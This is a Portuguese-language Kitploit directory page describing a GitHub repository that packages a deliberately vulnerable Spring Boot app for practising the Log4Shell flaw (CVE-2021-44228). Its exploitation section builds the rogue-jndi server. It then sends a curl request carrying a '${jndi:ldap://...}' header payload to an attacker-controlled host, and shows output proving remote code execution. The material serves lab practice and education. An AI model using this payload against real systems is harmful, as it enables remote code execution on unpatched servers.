Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-44228-poc — Aplicativo de exemplo log4shell (CVE-2021-44228) | Kitploit
Ferramentas/GitHubGitHub/kadantte/cve-2021-44228-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoLabs e Prática
GitHubkadantte/cve-2021-44228-poc

CVE-2021-44228-poc

Aplicativo de exemplo log4shell (CVE-2021-44228)

Ver Repositório
43há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Aplicação vulnerável de exemplo Log4Shell (CVE-2021-44228)

Esta é uma aplicação vulnerável quase cópia/similar a https://github.com/christophetd/log4shell-vulnerable-app

As principais diferenças são o uso de maven em vez de gradle, e o uso de rogue-jndi.

Este repositório contém uma aplicação web maven Spring Boot vulnerável ao CVE-2021-44228, apelidada de Log4Shell.

Utiliza Log4j 2.6.1 e a versão 1.8.0_181 do JDK.

Executando a aplicação springboot

Construa e execute a aplicação springboot docker:

docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app

Exploração

  1. git clone https://github.com/veracode-research/rogue-jndi
  2. cd rogue-jndi
  3. mvn package
  4. java -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"

Abra um segundo terminal

  1. curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'

Onde em ambos os casos 192.168.1.x é o seu IP

NOTA: não use localhost, use o seu endereço IP privado real.

Agora verifique se o RCE foi bem-sucedido:

$ docker ps                                 
CONTAINER ID   IMAGE            COMMAND                  CREATED         STATUS         PORTS                                       NAMES
04536dbd1dff   vulnerable-app   "java -jar demo-0.0.…"   2 minutes ago   Up 2 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   gallant_easley
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root                          tomcat-docbase.8080.4585569232401237075
test_if_rce                              tomcat.8080.1707298461175346507

Como pode ver, o ficheiro test_if_rce existe. O que significa que o RCE foi bem-sucedido.

NOTA

Código e ideias foram utilizados dos seguintes repositórios:

  • https://github.com/rayhan0x01/log4shell-vulnerable-app/tree/mod

  • https://www.lunasec.io/docs/blog/log4j-zero-day/

  • https://github.com/christophetd/log4shell-vulnerable-app

Baixar ferramenta